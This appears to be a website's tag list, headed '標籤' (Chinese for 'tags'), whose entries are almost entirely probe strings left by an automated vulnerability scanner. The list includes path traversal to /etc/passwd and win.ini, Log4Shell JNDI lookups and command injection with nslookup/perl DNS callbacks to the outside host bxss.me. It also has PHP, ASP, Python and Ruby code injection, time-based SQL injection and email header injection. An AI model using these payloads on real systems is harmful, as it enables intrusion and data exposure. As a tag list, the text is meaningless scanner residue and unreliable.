標籤

• r
• ../../../../../../../../../../../../../../etc/passwd
• ../../../../../../../../../../../../../../windows/win.ini
• ../r
• r bcc:009247.1167-10231.1167.ad5d1.19086.2@bxss.me
• to@example.com> bcc:009247.1167-10232.1167.ad5d1.19086.2@bxss.me
• ${9999680+9999304}
• http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
• 1some_inexistent_file_with_long_name.jpg
• Http://bxss.me/t/fit.txt
• http://bxss.me/t/fit.txt?.jpg
• bxss.me
• o2QU7HWa
• /../../../../../../../../../../windows/system32/BITSADMIN.exe
• ${j${::-n}di:dns${::-:}//hitrejfteoofr2c113${::-.}bxss.me}zzzz
• ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j.009247.1167-10233.1167.ad5d1${::-.}1${::-.}bxss.me}}
• response.write(9320970*9557229)
• '+response.write(9320970*9557229)+'
• "+response.write(9320970*9557229)+"
• echo nzngnf$()\ ulmfbb\nz^xyu||a #' &echo nzngnf$()\ ulmfbb\nz^xyu||a #|" &echo nzngnf$()\ ulmfbb\nz^xyu||a #
• &echo nevfcj$()\ vjlevv\nz^xyu||a #' &echo nevfcj$()\ vjlevv\nz^xyu||a #|" &echo nevfcj$()\ vjlevv\nz^xyu||a #
• |echo xanjkd$()\ vryyci\nz^xyu||a #' |echo xanjkd$()\ vryyci\nz^xyu||a #|" |echo xanjkd$()\ vryyci\nz^xyu||a #
• (nslookup hitdbxdolamta06a9e.bxss.me||perl -e "gethostbyname('hitdbxdolamta06a9e.bxss.me')")
• $(nslookup hitmvpfuiwrxl8a8ff.bxss.me||perl -e "gethostbyname('hitmvpfuiwrxl8a8ff.bxss.me')")
• '.gethostbyname(lc('hitrk'.'ylhwdgvo37388.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(87).chr(111).chr(70).'
• &(nslookup hitjsoarobsub0e234.bxss.me||perl -e "gethostbyname('hitjsoarobsub0e234.bxss.me')")&'\"`0&(nslookup hitjsoarobsub0e234.bxss.me||perl -e "gethostbyname('hitjsoarobsub0e234.bxss.me')")&`'
• ".gethostbyname(lc("hitdd"."xptretkj722ec.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(89).chr(101).chr(80)."
• |(nslookup hitibefyoecag3bb95.bxss.me||perl -e "gethostbyname('hitibefyoecag3bb95.bxss.me')")
• r&n947454=v906262
• `(nslookup hitihvtixjzkpffc21.bxss.me||perl -e "gethostbyname('hitihvtixjzkpffc21.bxss.me')")`
• )
• !(()&&!|*|*|
• ^(#$!@#$)(()))******
• ;(nslookup hitmxlrpyntmlf5fd2.bxss.me||perl -e "gethostbyname('hitmxlrpyntmlf5fd2.bxss.me')")|(nslookup hitmxlrpyntmlf5fd2.bxss.me||perl -e "gethostbyname('hitmxlrpyntmlf5fd2.bxss.me')")&(nslookup hitmxlrpyntmlf5fd2.bxss.me||perl -e "gethostbyname('hitmxlrpyntmlf5fd2.bxss.me')")
• ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
• ';print(md5(31337));$a='
• ";print(md5(31337));$a="
• ${@print(md5(31337))}
• ${@print(md5(31337))}\
• '.print(md5(31337)).'
• http://hitnprqtnnopw.bxss.me/
• 74138
• 74138
• 74138/.
• )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
• /xfs.bxss.me
• '"
• '"()
• "+"A".concat(70-3).concat(22*4).concat(104).concat(78).concat(113).concat(80)+(require"socket" Socket.gethostbyname("hitmr"+"plfnveqf613b2.bxss.me.")[3].to_s)+"
• '+'A'.concat(70-3).concat(22*4).concat(114).concat(75).concat(110).concat(89)+(require'socket' Socket.gethostbyname('hitii'+'gevsktlv8dba9.bxss.me.')[3].to_s)+'
• r9137759
• 1Zd4cALEO
• HttP://bxss.me/t/xss.html?%00
• str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitybsrecsxjbd2c82.'+'bxss.me')
• '+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitybsrecsxjbd2c82."+"bxss.me")+'
• "+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitybsrecsxjbd2c82.'+'bxss.me')+"
• bxss.me/t/xss.html?%00
• fbvOTLlF
• -1 OR 2+414-414-1=0+0+0+1 --
• -1 OR 2+745-745-1=0+0+0+1
• -1' OR 2+310-310-1=0+0+0+1 --
• -1' OR 2+593-593-1=0+0+0+1 or '5lyTsW7X'='
• if(now()=sysdate(),sleep(15),0)
• 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
• 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
• (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
• 1 waitfor delay '0:0:15' --
• YHZdweh2'; waitfor delay '0:0:15' --
• VU9mZHOg'); waitfor delay '0:0:15' --
• BuvweAJ0')); waitfor delay '0:0:15' --
• BrpORzoY' OR 595=(SELECT 595 FROM PG_SLEEP(15))--
• ni1fSN5M') OR 418=(SELECT 418 FROM PG_SLEEP(15))--
• hi3OVqkx')) OR 373=(SELECT 373 FROM PG_SLEEP(3))--
• r'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
• 1'"
• 1����%2527%2522
• @@xYNKO